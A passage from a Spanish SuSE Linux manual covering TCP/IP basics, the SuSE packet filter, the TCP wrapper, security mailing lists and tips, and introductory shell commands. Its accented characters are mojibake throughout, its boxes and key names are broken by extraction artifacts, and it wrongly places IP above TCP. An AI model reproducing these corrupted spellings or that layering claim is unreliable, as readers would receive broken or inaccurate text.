Internet Protocol''. Hoy en dφa se puede usar TCP/IP en casi cualquier
plataforma, sistema operativo o red. El departamento de defensa de los Esta-
dos Unidos de AmΘrica (United States Department of Defence; DoD) desar-
roll≤ este protocolo y lo present≤ por primera vez al p·blico en 1978.
Los datos en una red del tipo TCP/IP se transfieren de una computadora a
la otra en forma de paquetes. Cada paquete comienza con un encabezado
(ingl. header), que contiene datos de control como p. ej. la direcci≤n de la
computadora destino. Por detrßs de este encabezado se encuentran los datos.
Para transferir p. ej. un fichero de una computadora a la otra vφa red, el con-
tenido de este fichero se convierte en una serie de paquetes que se mandan a
la computadora destino.
El protocolo de transmisi≤n (Transmission Control Protocol, TCP) se encarga
de transferir correctamente los paquetes. Este protocolo p. ej. se preocupa de
que los paquetes lleguen en el orden correcto al destinatario. TCP representa
la capa de transporte y comunica los errores irremediables al protocolo IP
que se encuentra encima. Otro protocolo de transporte de esta familia es
el UDP. En el caso de este protocolo se ha suprimido el control de errores,
haciendo la transferencia mßs rßpida que con TCP. Usando UDP debe existir
otro mecanismo (por parte de la aplicaci≤n) de reconocimiento y correcci≤n
de errores.
Una direcci≤n IP (IP versi≤n 4) es un valor de 32 bit. Para aclararlo mßs, las
direcciones IP se escriben en 4 partes decimales de 8 bit, separados por puntos
(p. ej. 192.168.0.20). Las comunicaciones se realizan a travΘs de puertos
(0 hasta 65535) para que la computadora pueda establecer varias conexiones
al instante y distinguirlas. Estos puertos se asignan a las conexiones por lo
que el encabezado de un paquete TCP o UDP siempre incorpora el puerto
de origen y de destino ~ aparte de la direcci≤n del remitente (la computadora
que manda el paquete) y de la de la computadora destino. Ciertos puertos,
de 0 hasta 65535, estßn previstos para determinados servicios (ver tambiΘn el
fichero /etc/services).
El puerto 23 (TCP) es por ejemplo el puerto previsto para las conexiones
vφa telnet. Este puerto forma parte del rango de puertos privilegiados entre
0 y 1023 (TCP y UDP). Los programas que necesitan privilegios de admin-
istrador de sistema (derechos de `root') pueden ofrecer sus servicios sobre
este rango de puertos (ver /etc/services).
Los puertos 1024 hasta 65535 son puertos no privilegiados. La diferencia se
explica con un ejemplo simplificado sobre la transferencia de un fichero vφa
ftp . Hay un servidor FTP que ofrece servicios en el puerto TCP 21; cuando
se inicia un cliente FTP en la computadora con la direcci≤n 192.168.3.5 (el
cliente) usando el comando:
tux@tierra:/home/tux > ftp 192.168.3.16
el cliente establece una conexi≤n TCP hacia el puerto 21 de la computadora
con la direcci≤n IP 192.168.3.16 (el servidor). El servidor FTP responde
en el puerto 21 y se encarga de la identificaci≤n de usuario solicitando el
nombre de usuario y la contrase±a. La conexi≤n asφ establecida, sirve tambiΘn
462
___________________________________________________________________________________________________________18.2.__Utilidades*
*______________________
para la transferencia de todos los comandos-FTP que el usuario introduzca
despuΘs de entrar al sistema. En comparaci≤n a esto, para la transferencia de
datos (despuΘs de introducir el comando ls o get ), el servidor por sφ mismo
establece una conexi≤n a un puerto no privilegiado del cliente. Esta conexi≤n
sirve entonces para la transferencia real de los datos.
TCP/IP se dise±≤ para redes muy grandes y por tanto incorpora mecanis-
mos para estructurar una red. Toda el ßrea de direcciones de 32 bit se puede
dividir en sub-redes. Estas se forman por declarar una serie de bits (comen-
zando desde la izquierda) como direcci≤n de la sub-red. Por ejemplo para la
sub-red con la direcci≤n 192.168.3.0 , los primeros 24 bits de la direcci≤n
forman la direcci≤n de la red. La ''mßscara de sub-red'' (ingl. Subnetmask)
determina cußntos bits de una direcci≤n forman la direcci≤n de red. Por ejem-
plo, la mßscara de sub-red 255.255.255.0 determina que la computadora
con la direcci≤n 192.168.3.5 se encuentra en la sub-red con la direcci≤n
192.168.3.0 .
Las sub-redes dentro de una red grande se conectan normalmente a travΘs
de un enrutador (ingl. router). Se trata de un dispositivo especial o, de una
computadora equipada para esta tarea, que se encarga de enviar los paquetes
a su destino correcto. El opuesto de la mßscara de sub-red es la direcci≤n de
''broadcast'', a travΘs de la cual se puede acceder a todas las computadoras en
una sub-red. Por ejemplo, todas las computadoras de la red 192.168.3.0 se
acceden con la direcci≤n de broadcast 192.168.3.255 .
Una vez que la computadora estß conectada a Internet, Θsta forma parte de la
red mundial, por lo que se puede acceder a ella desde Internet cada vez que
se establezca la conexi≤n al proveedor. Por eso hay que tomar medidas para
evitar el acceso indebido desde Internet. De esto se encarga el cortafuegos
(filtro|de|paquetes)|de SuSE . |
_______________________________________________________________________________________________________________________||||||
|||||||| Los Filtros de paquetes son una especie de cortafuegos a nivel de red que ||| |
|||||||| siempre filtran a base de direcciones de remitente, de destinatario y de || |
|||||||| || |
|||||||| puerto, que figuran dentro de los paquetes IP. Un enrutador sencillo o el fil- || |
|||||||| || |
|||||||| tro de paquetes de SuSE son cortafuegos a nivel de red (ingl. network level || |
|||||||| firewall). Estos no son suficientemente sofisticados para averiguar el sig- || |
|||||||| || |
|||||||| nificado de un paquete IP y su origen; por eso no ofrecen una protecci≤n to- || |
|||||||| tal contra ataques. Los cortafuegos modernos estßn mßs desarrollados para || |
|||||||| || |
|||||||| Linux (p. ej. , SINUS Firewall I , http://www.sinusfirewall.org), ya || |
|||||||| || |
|||||||| que recogen informaci≤n interna y el contenido de las conexiones que ellos || |
|||||||| administran. Los cortafuegos a nivel de aplicaci≤n (ingl. application lev- || |
|||||||| || |
|||||||| el firewalls) (p. ej. TIS Firewall Toolkit ) estßn representados normalmente || |
|||||||| por computadoras que ejecutan un servidor Proxy, que protocoliza y anal- || |
|||||||| || |
|||||||| iza cuidadosamente todos los datos que pasan por Θl. Los programas de || |
|||||||| servidor Proxy son ideales para establecer mecanismos de protecci≤n, ya || |
|||||||| || |
|||||||| que se ejecutan sobre el cortafuegos. || |
||||||||_______________________________________________________________________________________________________________||_
┐Para quΘ se usa el cortafuegos de SuSE ? Para las redes que necesitan un
cierto nivel de protecci≤n ~ esto es vßlido prßcticamente en todos los lugares
que tramitan datos personales ~ los cortafuegos del tipo ''Application Level''
*
* 463
18. Seguridad y Confianza_________________________________________________________________________________________________________*
*_______________________________________@
son por su funcionamiento lo mßs indicado. Para estas redes, el cortafuegos
(filtro de paquetes) de SuSE no ofrece suficiente protecci≤n.
El cortafuegos (filtro de paquetes) de SuSE sirve para la protecci≤n del PC en
casa, de la peque±a red casera o de una estaci≤n de trabajo dentro de una red
segura.
El cortafuegos de SuSE solo se debe utilizar para proteger una red empresar-
ial, sabiendo bien lo que se hace (ver la lista bibliogrßfica).
La instalaci≤n y el mantenimiento de un cortafuegos exige un conocimiento
profundo sobre redes y sobre los protocolos usados. Una superficie grßfica
o una configuraci≤n predeterminada (como lo ofrece el filtro de paquetes de
SuSE ), no pueden reemplazar este conocimiento.
La documentaci≤n acerca del cortafuegos de SuSE se encuentra en /usr/
doc/packages/firewals y /etc/rc.firewall. Para aprender mßs sobre
el tema de cortafuegos recomendamos las siguientes fuentes de informaci≤n:
o El manual del cortafuegos para Linux 2.0 y 2.2 de Guido Stepken ofrece
desde informaci≤n tΘcnica detallada hasta la descripci≤n de los tφpicos
puntos de ataque y errores, casi todo lo que se precisa saber para montar
un cortafuegos seguro con Linux. Este manual solo estß disponible en
lφnea bajo el URL:
(http://www.little-idiot.de/firewall/)
o Para conocer mßs sobre cortafuegos a base de software libre se puede
consultar la informaci≤n sobre el proyecto ''Freefire'' (http://sites.
inka.de/sites/lina/freefire-l/).
El TCP-Wrapper
El TCP-Wrapper (tcpd ) permite dar acceso a determinados servicios en fun-
ci≤n de la direcci≤n IP del solicitante. El programa tcpd ya estß integrado en
SuSE Linux tal como se puede observar en la sexta columna del fichero 18.2.2
en la pßgina 461El inetd subsection.18.2.2. El funcionamiento de este ser-
vicio es sencillo ya que tcpd se encarga de lanzar los servicios despuΘs de
comprobar si el cliente estß autorizado a usarlos.
Este control de acceso se configura mediante los ficheros /etc/hosts.
allow y /etc/hosts.deny.
o Se permite un determinado acceso cuando existe la correspondiente com-
binaci≤n de cliente y servicio en el fichero /etc/hosts.allow.
o Por el contrario, si esta combinaci≤n de cliente y servicio se encuentra en
el fichero /etc/hosts.deny, el acceso es denegado.
o Si la combinaci≤n en cuesti≤n no se encuentra en ninguno de los dos
ficheros, el acceso es autorizado.
________________________________________________________________________________________________________*
*________||
| Las combinaciones de servicio y cliente que se indican en /etc/hosts. *
* ||||
| allow son ''mßs fuertes'' que las mismas en /etc/hosts.deny; por ejem- *
* |||
| *
* |||
| plo, cuando se permite en el fichero /etc/hosts.allow el acceso al puer- *
* |||
| to de telnet, Θste contin·a abierto aunque fuera denegado por una indi- *
* |||
| *
* |||
| caci≤n en /etc/hosts.deny. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
464
__________________________________________________________________________________18.3.__Seguridad_en_SuSE______Linux_______*
*______________________
La sintaxis para estos ficheros se explica en la pßgina del manual de
hosts_access (man 5 hosts_access ).
La alternativa al uso de la combinaci≤n TCP-Wrapper/inetd es el xinetd (pa-
quete xinetd, serie n (network)). Este combina las funcionalidades de inetd
y tcpd, con la desventaja de la incompatibilidad entre los ficheros de configu-
raci≤n de inetd y xinetd.
_______________________________________________________________________________________________________________________
|||||||| Como solo se puede iniciar uno de los ''Internet Super-Server'', es nece- || |
|||||||| || |
|||||||| sario decidirse por uno de ellos. || |
||||||||_______________________________________________________________________________________________________________||_
La serie secchk (Software del ßmbito de seguridad)sec incluye otros pro-
gramas que ayudan en la instalaci≤n de un sistema seguro; se pueden probar
algunos de estos.
18.3 Seguridad en SuSE Linux
SuSE ofrece los siguientes servicios para proporcionar una distribuci≤n enfo-
cada a temas de seguridad:
Hay dos listas de correo a disposici≤n de todos los interesados:
o suse-security-announce ~ para publicar noticias por parte de SuSE
sobre problemas de seguridad.
o suse-security ~ se publican las noticias y es un foro de discusi≤n.
Para apuntarse en cualquiera de estas listas de correo, es suficiente con enviar
un E-Mail vacφo a suse-security-subscribe@suse.com o a
suse-security-announce-subscribe@suse.com.
majordomo@suse.com con el contenido:
subscribe suse-security
o con el contenido:
subscribe suse-security-announce
Notificaci≤n central de problemas de seguridad:
Si se ha descubierto un nuevo problema de seguridad (compruebe antes las
actualizaciones disponibles), envφe un E-Mail a security@suse.de con la de-
scripci≤n del problema. Nos preocuparemos inmediatamente del asunto.
Puede mandar los datos encriptßndolos con paquete pgp. Nuestra clave
p·blica (public pgp key 6 ) se encuentra, lista para descargar, bajo http:
//www.suse.de/security. (+ Encriptaci≤n).
6 ____________________________________________________
PGP Key fingerprint = 73 5F 2E 99 DF DB 94 C4 8F 5A A3 AE AF 22 F2 D5
*
* 465
18. Seguridad y Confianza_________________________________________________________________________________________________________*
*_______________________________________@
18.4 Consejos generales
1. No entrar al sistema como superusuario `root' para las tareas diarias, ya
que debe ser solo para trabajos de administraci≤n de sistema.
2. Evitar al mßximo el uso de telnet , rlogin o mßs a·n el de rsh .
3. En caso de trabajar remotamente, es mejor usar ssh en lugar de rsh .
4. Desactivar todos los servicios de red no necesarios
5. Mantener actualizados los paquetes importantes para la seguridad del sis-
tema como p. ej. paquete bind, paquete sendmail y paquete ssh.
6. Quite los suid- y sgid bits de todos los ficheros del sistema que general-
mente no son usados par parte de usuarios ''normales''.
7. Controlar regularmente los ficheros de registro (log-files).
466
Capφtulo 19
Introducci≤n a Linux
Unix es un sistema a tal punto complejo que a continuaci≤n s≤lo se podrßn
aclarar los aspectos mßs importantes. El presente manual no ha sido elabo-
rado para remplazar la bibliografφa existente sobre Linux o Unix; tampoco lo
podrφa hacer y Θste no es su objetivo.
En todo caso, aconsejamos adquirir un manual adecuado a quienes hayan
decidido utilizar o cambiar DOS por Linux. En el anexo se incluye, a tal
efecto, una lista con bibliografφa recomendada. Si se dispone de bibliografφa
sobre Unix que no sea especφfica para Linux, se podrß ver que gran parte de
la informaci≤n sobre el sistema es aplicable a Linux.
Algunos manuales o parte de ellos que pertenecen a GPL , se pueden encon-
trar como ficheros .dvi- o PostScript en el paquete doc, serie books. Pueden
ser visualizados bajo X11 con XDvi (xdvi ) o GhostView (gv ) e imprimidos
φntegramente o por pßginas con lpr .
Pero hasta tener el manual de Unix en las manos, esta introducci≤n para
principiantes deberφa alcanzar para dar los primeros pasos en Linux.
Al empezar a trabajar con Unix, despuΘs de una instalaci≤n exitosa, se hace
login con el nombre de usuario que se haya introducido durante la instalaci≤n,
no solo porque para este usuario se hayan predeterminado ciertas caracterφsti-
cas ''amistosas'', sino tambiΘn porque, como ocurre con el systema Unix, ''so-
lo'' usted tiene responsabilidad sobre su + directorio de usuario (ingl. home
directory). Este procedimiento, el de trabajar bajo un nombre de usuario, es
·til en sistemas operativos multiusuario para la seguridad del sistema. Con
ello es imposible, por ejemplo, cambiar o borrar por equivocaci≤n ficheros
importantes para el sistema.
_______________________________________________________________________________________________________________________||
|||||||| Una orden undelete como la que existe en DOS, no existe (a·n) en Linux, ||| |
|||||||| por lo tanto, una alteraci≤n involuntaria de ficheros del sistema podrφa || |
|||||||| || |
|||||||| hacer necesaria la reinstalaci≤n del sistema por completo. || |
||||||||_______________________________________________________________________________________________________________||_
Para un principiante, el inicio con Linux parece de gran complejidad ante
todo porque a Θl va unida la complicada tarea de administrador del sistema.
19.1 Hacer login, `root'-Usuario, introducci≤n de Usuario
La posibilidad de multi-usuarios (ingl. multiuser) de Linux exige que, siem-
pre que se desee utilizar el sistema, primero se deba identificar en una +
*
* 467
19. Introducci≤n a_Linux__________________________________________________________________________________________________________*
*_______________________________________@
consola (en la cual se tiene previsto trabajar, ver apartado 19.4 en la pßgi-
na 471Consolas virtualessection.19.4) 1 . Este proceso, que es parte indis-
pensable en el concepto de seguridad de un sistema moderno de multiusuar-
ios, se denomina hacer login; con Θl se consigue entre otras cosas, que cada
usuario tenga su propio entorno de trabajo y que s≤lo asφ pueda acceder a sus
ficheros. Primero se introduce el nombre de usuario (p. ej. `tux') y luego la
contrase±a (p. ej. xxxxxx ); se deben reemplazar los sφmbolos xxxxxx por la
contrase±a escogida!_Los sφmbolos xxxxxx no aparecen en la pantalla; luego
se pulsa |E_______n|ter2:
login: tux |______|-
Password: xxxxxx |______|-
Si se ha ''hecho login'' correctamente, se entra al directorio del usuario que
corresponde (p. ej. /home/tux para el usuario `tux').
Para salir del sistema (hacer logout), se introduce la orden logout o exit .
El usuario `root' es el + administrador del sistema y TODO le estß autor-
izado. Los ficheros importantes del sistema s≤lo pueden ser manipulados por
`root'. Por lo tanto, se hace login como `root' solo cuando sea realmente
necesario. De este modo se protege el sistema de modificaciones involun-
tarias que, seg·n el caso, obligarφan a una nueva instalaci≤n.
Algunas acciones s≤lo permitidas a `root' son:
o + Montar sistemas de ficheros como CDs y disquetes asφ como instalaci≤n
de software. Este derecho lo tiene tambiΘn el usuario normal al introducir
la opci≤n user para el correspondiente perifΘrico en /etc/fstab (ver
apartado 19.11.2 en la pßgina 485Montaje y desmontaje de sistemas de
ficherossubsection.19.11.2).
o Introducir y eliminar usuarios (ver apartado 3.7.7 en la pßgina 112Admin-
istraci≤n de usuariossubsection.3.7.7).
o Instalaci≤n de un nuevo kernel.
o Configuraci≤n del sistema.
o Apagar el sistema (ver apartado 19.2).
o ejecutar YaST (ver capφtulo 3 en la pßgina 83YaST ~ Yet another Setup
Toolchapter.3).
19.2 Apagar y arrancar el sistema
________________________________________________________________________________________________________*
*________||
| IMPORTANTE: En ning·n caso se debe desconectar la computadora o *
* ||||
| *
* |||
| pulsar Reset (+ Reset) mientras el sistema estΘ en funcionamiento, ya que *
* |||
| se pueden producir da±os en el + sistema de ficheros, con la consiguiente *
* |||
| *
* |||
| pΘrdida de datos. *
* |||
|_______________________________________________________________________________________________________*
*________|||__
1 Si se ha configurado un login grßfico (ver apartado 3.7.5 en la pßgina 111Configuraci≤n del
Loginsubsection.3.7.5), el proceso que se describe a continuaci≤n tiene la misma validez!
2 En caso de no haberse otorgado una contrase±a al instalar el sistema, serß suficiente con pulsar
| _______
E_______n|ter!
468
__________________________________________________________________________19.3.__Comandos_~_lφnea_de_comandos_______________*
*______________________
Usar los comandos de la tabla 19.1 para apagar (ingl. shutdown) correcta-
mente la computadora.
_______________________________________________________________________________________________________________________
shutdown -h now detiene el sistema (se podrß apagar la mßquina
cuando aparezca el mensaje: "the system is
halted")
shutdown -r now reinicia el sistema inmediatamente despuΘs de
haberlo apagado
_______________________________________________________________________________________________________________________
Tabla 19.1: Comandos para apagar el sistema Linux
En general, el comando shutdown en todas sus variantes s≤lo puede ser
ejecutado por el usuario `root'.
Para ''apagar'' el sistema, se entra utilizando la contrase±a `root' y se intro-
duce el comando shutdown -h now o shutdown -r now .
TambiΘn se puede iniciar,_como_se suele_hacer_en_DOS,_mediante_la_combi-_ ____ ____
naci≤n de las teclas |C______|trl+ |A____l|t+ |S______|upr(|C______|trl+ |A____l|t+ |D____e|l). Dado que
esta combinaci≤n de teclas bajo X11 no es reconocida, primero se debe salir
de X11. Sin embargo esta combinaci≤n puede ser usada por cualquier usuario
desde cualquier consola virtual.
19.3 Comandos ~ lφnea de comandos
Si bien, el manejo de Linux resulta cada vez mßs fßcil, p. ej. mediante progra-
mas controlados a travΘs de men·; a fin de cuentas ~ en caso de una emergen-
cia o cuando no se dispone de un programa con men· para una determinada
operaci≤n ~ s≤lo nos queda como recurso introducir ''comandos'' Unix.
Cußles son los comandos de Unix?
Los comandos de Unix son:
o programas ejecutables
o scripts de la shell
o scripts de lenguajes de script como Perl, Tcl, etc.
o shell-alias (como macros de shell).
Todos tienen en com·n que son ficheros: al cargar un programa en Linux, se
ordena a la shell que busque el fichero con el nombre del programa (para ello
es necesario una rama de b·squeda, definida por la variable PATH) y una vez
hallado, lo ejecute, si Θste posee la licencia de usuario pertinente.
Pero, quΘ ocurre si el programa (p. ej. el comando para copiar) necesita
parßmetros adicionales o nombres de ficheros?
Esto es relativamente fßcil, porque para ello existen los llamados parßmet-
ros (ingl. parameter). Los parßmetros son argumentos adicionales para un
comando, que le comunican datos necesarios. En la lφnea de entrada los
*
* 469
19. Introducci≤n a_Linux__________________________________________________________________________________________________________*
*_______________________________________@
parßmetros van detrßs del nombre del comando, separados como mφnimo por
un espacio en blanco 3 .
Por otra parte, puede ser necesario influir en el comportamiento de un coman-
do (p. ej. se desea ver el contenido de un directorio de forma completa y no
s≤lo los nombres de los ficheros). En Linux esto ocurre con las llamadas op-
ciones (ingl. options). Las opciones van siempre inmediatamente despuΘs de
los nombres de los comandos y antes de los parßmetros. En ocasiones, y de
forma excepcional, es posible encontrar comandos ''sucios'' que no responden
a este formato. Generalmente, las opciones van precedidas de un gui≤n (p. ej.
-la ) y pueden obedecer a dos tipos de formato (ver tabla 19.2).
________________________________________________________________________________________________________*
*________
-a forma corta, com·n en Unix
--all forma larga, llamada notaci≤n GNU
________________________________________________________________________________________________________*
*________
Tabla 19.2: Opciones para comandos
Cuando haya que utilizar varias opciones, muchos programas de Linux per-
miten ''acumularlas''. Esto significa que no es necesario que todas las op-
ciones vayan, una detrßs de otra, precedidas cada una de un gui≤n. Es decir,
s≤lo la primera opci≤n deberφa ir precedida de un gui≤n; las siguientes se
escribirßn junto a Θsta inmediatamente despuΘs. Ejemplo:
-a -f -r -u o
-afru o
-frua
El ejemplo muestra que, en general, el orden de las opciones es irrelevante.
Si bien, existen excepciones a esta regla.
Para hacerlo mßs complejo, algunas opciones pueden tener a su vez parßmet-
ros. Ejemplo:
-f <mifichero> o
-f<mifichero>
En raras ocasiones, (mßs bien pocas) puede ser irrelevante que entre la opci≤n
y su parßmetro haya o no un espacio en blanco. En general se debe introducir
uno.
Ejemplos
Resumiendo: en Linux un comando tiene el siguiente aspecto (Ejemplos)4 :
tierra: # fdisk
tierra: # lsmod
tierra: # ls
Usando opciones:
tierra: # fdisk -v
tierra: # ls -l -a
______tierra:__#__ls__-la____________________
3 Nota: Esto implica que un espacio en blanco no pueda ser parte del parßmetro, ya que es el
''separador'' de los argumentos. Un espacio en blanco puede ser usado en un parßmetro si Θste va
entre comillas "" o ''.
4 No olvidar: con ''tierra: # '' el sistema indica que estß preparado para recibir comandos;
estas palabras y caracteres no tendrß que introducirlas usted
470
______________________________________________________________________________________________19.4.__Consolas_virtuales_____*
*______________________
Con parßmetros:
tierra: # fdisk /dev/hda
tierra: # ls /tmp
Con opciones y parßmetros:
tierra: # ls -la /tmp
tierra: # rpm -qpl <mipaquete>.rpm
tierra: # gcc -o <parßmetro con opciones> <parßmetro>
El espacio en blanco es un carßcter especial en las series de comandos Linux
ya que fundamentalmente se usa para separar entre sφ las diferentes partes de
un comando.
19.4 Consolas virtuales
Linux es un sistema + multitarea y multiusuario. Las ventajas que aportan es-
tas caracterφsticas se agradecen incluso en un sistema PC con un solo usuario:
El modo texto ofrece 6 + consolas virtuales,_a las que_se puede_acceder_me-_
diante las combinaciones de las teclas |A____l|t+ |F___|1a |A____l|t+ |F___|6. La sΘptima
consola estß reservada para X11.5
Si estando en X11 se desea trabajar_en una_consola_virtual_sin_cerrar_X11, se__ ___
pulsan las combinaciones_|C______t|rl+_|A____l|t+_|F___1|a |C______t|rl+ |A____l|t + |F___6|. Para
volver a X11 pulsar |A____l|t+ |F___|7.
19.5 Directorios y nombres de ficheros
Toda la informaci≤n ~ ya sean textos, imßgenes, bases de datos o informaci≤n
para la configuraci≤n del sistema ~ se almacena en ''ficheros'', que a su vez se
guardan en ''directorios''. Con todas las herramientas y programas existentes
se puede acceder a estos ficheros para ver su contenido o modificarlo.
El carßcter para separar directorios (en DOS `\') es en Unix `/' (ingl. slash).
Un path o camino es una cadena de caracteres en la cual los directorios van
separados mediante `/'. Un `/' indica el directorio de mayor jerarquφa, el
+ directorio raφz.
Unix diferencia entre may·sculas y min·sculas. Es decir, el fichero Pepe no
es el mismo que pepe. En general, no es necesario separar los nombres de
los ficheros en nombre y extensi≤n pero algunos programas sφ requieren esta
divisi≤n (p. ej. ALTEX).
_______________________________________________________________________________________________________________________||
|||||||| La funci≤n de la tecla | _____|Tab(tecla de tabulador) ahorra trabajo a la hora ||| |
|||||||| || |
|||||||| de introducir los nombres de ficheros o de directorios)._ Se introducen las || |
|||||||| primeras letras del fichero en cuesti≤n y se pulsa |Tab |. La + Shell completa || |
|||||||| ____ || |
|||||||| el nombre del fichero (siempre que la primera o las primeras letras sean || |
|||||||| suficientes para identificarla de forma ·nica). En caso de que haya varias || |
|||||||| || |
|||||||| posibilidades, Θstas aparecerßn el la pantalla al pulsar tab por segunda vez. || |
||||||||_______________________________________________________________________________________________________________||_
5 ____________________________________________________
Modificando el fichero /etc/inittab se puede disponer de mßs o de menos consolas.
*
* 471
19. Introducci≤n a_Linux__________________________________________________________________________________________________________*
*_______________________________________@
19.6 Trabajar con directorios
DespuΘs de hacer login (ver apartado 19.1 en la pßgina 467Hacer login,
`root'-Usuario, introducci≤n de Usuariosection.19.1) se entra al directorio
de usuario. Esto se puede comprobar con el comando pwd (ingl. print working
directory), el cual indica en quΘ directorio se encuentra en ese momento:
tux@tierra:/home/tux > pwd
/home/tux
El comando cd (ingl. change directory) sirve (igual que en DOS) para cam-
biar de directorio. Si se introduce
tux@tierra:/home/tux > cd /usr/bin
tux@tierra:/usr/bin >
se cambiarß al directorio /usr/bin,
tux@tierra:/home/tux > cd latex
tux@tierra:/home/tux/latex >
cambia al subdirectorio latex, eso sφ, siempre y cuando en el directorio de
usuario de `tux' exista el directorio /home/tux/latex .
Si se introduce el comando cd sin argumento, se regresa al directorio de
usuario. El nombre del directorio de usuario puede ser reemplazado por el
carßcter ` '. Al introducir
tux@tierra:/home/tux > cd ~/latex
se cambia al directorio latex del + directorio de usuario. Al igual que en
DOS `..' hace referencia al directorio superior y `.' al presente.
Para crear nuevos directorios se usa el comando mkdir (ingl. make) directory.
Al introducir
tux@tierra:/home/tux > mkdir textos
se crea el subdirectorio textos en el directorio en que se encuentre en ese
momento. Para borrar directorios vacφos se usa el comando rmdir (ingl.
remove directory).
19.7 Trabajar con ficheros
Si bien es posible que en un futuro los ficheros sean reemplazados por objetos
o sφmbolos, lo cierto es que hoy por hoy tienen una importancia fundamental
a la hora de trabajar con la computadora. Es por ello que en Linux el n·mero
de comandos relacionados con los ficheros es tan grande.
19.7.1 Propiedades de los ficheros
El comando ls muestra una lista con el contenido del directorio en que nos
encontramos (el directorio actual). Esta lista contiene todos los ficheros y los
nombres de los directorios del directorio actual. Los nombres de los directo-
rios aparecen seguidos de `/'. El contenido de otros directorios tambiΘn se
puede visualizar si se introduce el parßmetro:
tux@tierra: > ls /usr/bin
A diferencia de DOS, los programas ejecutables no se identifican mediante
extensiones como .exe o .com, sino mediante un asterisco `*' o por el color
472
_________________________________________________________________________________________19.7.__Trabajar_con_ficheros_______*
*______________________
rojo . Se trata de algunas de las caracteristicas que se pueden visualizar con
el comando ls ; para mßs informaci≤n mirar p. ej. la salida en pantalla de:
tux@tierra: > ls --help
Nunca se debe indicar el asterisco explφcitamente ya que Θste solo sirve como
indicador del atributo ''executable''; para mayor informaci≤n ver el en la
pßgina 478Autorizaciones para ficherossection.19.8.
Una opci≤n muy prßctica de ls es -l , que ofrece una lista mßs detallada de
nombres de ficheros que incluye las autorizaciones de acceso, propietarios,
grupo y tama±o:
tux@tierra: > ls -l
Esto genera en el monitor la lista que aparece en el Mensaje en pan-
talla 19.7.1.
_______________________________________________________________________________________________________________________||||
|||||||| drwxr-xr-x 6 tux users 1024 Mar 21 12:39 ./ |
|||||||| |
|||||||| drwxr-xr-x 4 tux users 1024 Mar 21 17:13 ../ |
|||||||| drwxr-xr-x 2 tux users 1024 Nov 6 16:19 bin/ |
|||||||| |
|||||||| -rwxr-xr-x 1 tux users 4160 Mar 21 12:38 check* |
|||||||| drwxr-xr-x 2 tux users 1024 Nov 6 16:23 etc/ |
|||||||| |
|||||||| drwxr-xr-x 2 tux users 1024 Nov 6 16:19 sbin/ |
|||||||| drwxr-xr-x 12 tux users 1024 Nov 6 18:20 usr/ |
|||||||| |
|||||||| -rw-r--r-- 1 tux users 185050 Mar 15 12:33 xvi.tgz |
|||||||| -rw-r--r-- 1 tux users 98444 Mar 14 12:30 xvnews.tgz |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
Mensaje en pantalla 19.7.1: Lista obtenida mediante ls -l
El significado de los diferentes campos que aparecen en el Mensaje en pan-
talla 19.7.1 se explica en la tabla 19.3 en la pßgina siguiente.
______________________________________________________________________________________________________________________
Autorizaciones El primer carßcter de este campo designa el tipo
de fichero. `d' significa directorio, `l' link y
`-' designa un fichero normal. Los 9 caracteres
siguientes indican las autorizaciones de acceso
para el propietario, el grupo y los demßs usuarios
(tres caracteres cada uno). `r' significa leer, `w'
escribir, y `x' ejecutar. Por ejemplo, `-rw-r~r~
' hace referencia a un fichero que puede ser leφ-
do por el propietario, por los miembros del grupo
y por todos los demßs, pero que s≤lo puede ser
modificado por el propietario. Ver la pßgina del
manual de chmod (man chmod ).
Propietario El propietario del fichero. Ver la pßgina del man-
ual de chown (man chown ).
Grupo Grupo al que pertenece el fichero. Ver la pßgina
del manual de chgrp (man chgrp ).
______________________________________________________________________________________________________________________
Tabla 19.3: Contin·a en la pßgina siguiente ...
*
* 473
19. Introducci≤n a_Linux__________________________________________________________________________________________________________*
*_______________________________________@
_______________________________________________________________________________________________________*
*_________
Tama±o Tama±o del fichero en Bytes.
┌ltima modificaci≤n Fecha de la ·ltima modificaci≤n del fichero. En
el caso de ficheros que fueron modificados hace
mßs de un a±o, aparece el a±o en lugar de la hora.
Nombre Nombre del fichero o del directorio.
_______________________________________________________________________________________________________*
*_________
Tabla 19.3: Atributos de un fichero Unix
19.7.2 Wildcards ~ Comodines
En comparaci≤n con DOS, las opciones que ofrece el intΘrprete de comandos
(p. ej. bash ) a travΘs de las + Wildcards son ''fascinantes''.
En Linux, los wildcards no se limitan a `*' y `?'. Por ejemplo, mediante
tux@tierra: > ls *a???.?
se pueden seleccionar todos aquellos ficheros del presente directorio, cuyo
nombre contenga una `a' en sexta posici≤n por la derecha y cuyo pen·ltimo
carßcter sea `.'.
En lugar de un ·nico carßcter `a', se podrφa introducir un rango de caracteres.
Como pueden ser las letras `a', `b', `c', `d', `e', `f'. Aplicado a nuestro
caso, el comando serφa:
tux@tierra: > ls *[a-f]???.?
La b·squeda tambiΘn se puede realizar en un orden no alfabΘtico:
tux@tierra: > ls *[1,3-5,M-P,a,k]???.?
19.7.3 El contenido de los ficheros
Mediante los comandos more y less es posible visualizar el contenido de un
fichero pßgina por pßgina. Con el comando ''clßsico'' more s≤lo se pueden
pasar las pßginas hacia ''abajo''6 ; less es considerablemente mßs c≤modo y
por lo tanto mßs aconsejable. Mediante
tux@tierra: > less /etc/login.defs
se carga el fichero /etc/login.defs en el ''viewer'' less , lo cual no llama
especialmente la atenci≤n ~ en la primera pßgina con contenido del_fichero,_
aparece una lφnea inversa de estado en el borde inferior._Con |____________ |(barra
espaciadora) se puede adelantar una pßgina y con |b_ |retroceder; ver tambiΘn
la tabla 19.4 en la pßgina siguiente.
_______________________________________________________________________________________________________*
*_________
h Ayuda
q Fin
_______________________________________________________________________________________________________*
*_________
Tabla 19.4: Contin·a en la pßgina siguiente ...
_____________________________________________6
more de Linux sabe mßs ~ ver la pßgina del manual de more (man more ) ;-)
474
_________________________________________________________________________________________19.7.__Trabajar_con_ficheros_______*
*______________________
______________________________________________________________________________________________________________________
e Avanzar una lφnea
y Retroceder una lφnea
f Avanzar una pßgina
b Retroceder una pßgina
d Avanzar media pßgina
u Retroceder media pßgina
g Desplazarse al comienzo del fichero
G Desplazarse al final del fichero
/ Iniciar una b·squeda
n Ir al siguiente acierto en una b·squeda
v Cargar un fichero en el + editor
F Observar un fichero ''creciente'' de tipo (log)
^c Pasar de modo F a ''normal''
______________________________________________________________________________________________________________________
Tabla 19.4: Teclas de los ''Viewers'' less (selecci≤n)
Con |||||__/se da la_orden_de buscar una determinada cadena_de caracteres (p. ej.
